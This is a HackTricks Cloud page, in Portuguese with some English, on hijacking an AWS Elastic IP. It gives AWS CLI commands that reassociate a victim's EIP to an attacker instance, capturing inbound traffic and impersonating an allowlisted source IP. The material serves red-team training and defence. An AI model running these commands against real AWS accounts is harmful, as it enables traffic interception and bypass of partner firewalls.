AWS - Elastic IP Hijack para Ingress/Egress IP Impersonation
Reading time: 3 minutes
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Resumo
Abuse ec2:AssociateAddress (e opcionalmente ec2:DisassociateAddress) para re-associar um Elastic IP (EIP) de uma instância/ENI vítima para uma instância/ENI do atacante. Isso redireciona o tráfego de entrada destinado ao EIP para o atacante e também permite que o atacante origine tráfego de saída com o IP público allowlisted para contornar firewalls de parceiros externos.
Pré-requisitos
- ID de alocação do EIP de destino na mesma conta/VPC.
- Instância/ENI do atacante que você controla.
- Permissões:
ec2:DescribeAddressesec2:AssociateAddresson the EIP allocation-id and on the attacker instance/ENIec2:DisassociateAddress(opcional). Nota:--allow-reassociationirá auto-desassociar da associação anterior.
Ataque
Variáveis
REGION=us-east-1
ATTACKER_INSTANCE=<i-attacker>
VICTIM_INSTANCE=<i-victim>
- Alocar ou identificar o EIP da vítima (o laboratório aloca um novo e o associa à vítima)
ALLOC_ID=$(aws ec2 allocate-address --domain vpc --region $REGION --query AllocationId --output text)
aws ec2 associate-address --allocation-id $ALLOC_ID --instance-id $VICTIM_INSTANCE --region $REGION
EIP=$(aws ec2 describe-addresses --allocation-ids $ALLOC_ID --region $REGION --query Addresses[0].PublicIp --output text)
- Verifique se o EIP atualmente resolve para o serviço da vítima (por exemplo, verifique o banner)
curl -sS http://$EIP | grep -i victim
- Re-associar o EIP ao atacante (desassocia automaticamente da vítima)
aws ec2 associate-address --allocation-id $ALLOC_ID --instance-id $ATTACKER_INSTANCE --allow-reassociation --region $REGION
- Verifique se o EIP agora resolve para o attacker service
sleep 5; curl -sS http://$EIP | grep -i attacker
Evidência (associação movida):
aws ec2 describe-addresses --allocation-ids $ALLOC_ID --region $REGION \
--query Addresses[0].AssociationId --output text
Impacto
- Inbound impersonation: Todo o tráfego destinado ao EIP sequestrado é entregue à attacker instance/ENI.
- Outbound impersonation: Attacker pode iniciar tráfego que aparenta se originar do allowlisted public IP (útil para contornar filtros de IP de parceiros/fonte externa).
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
HackTricks Cloud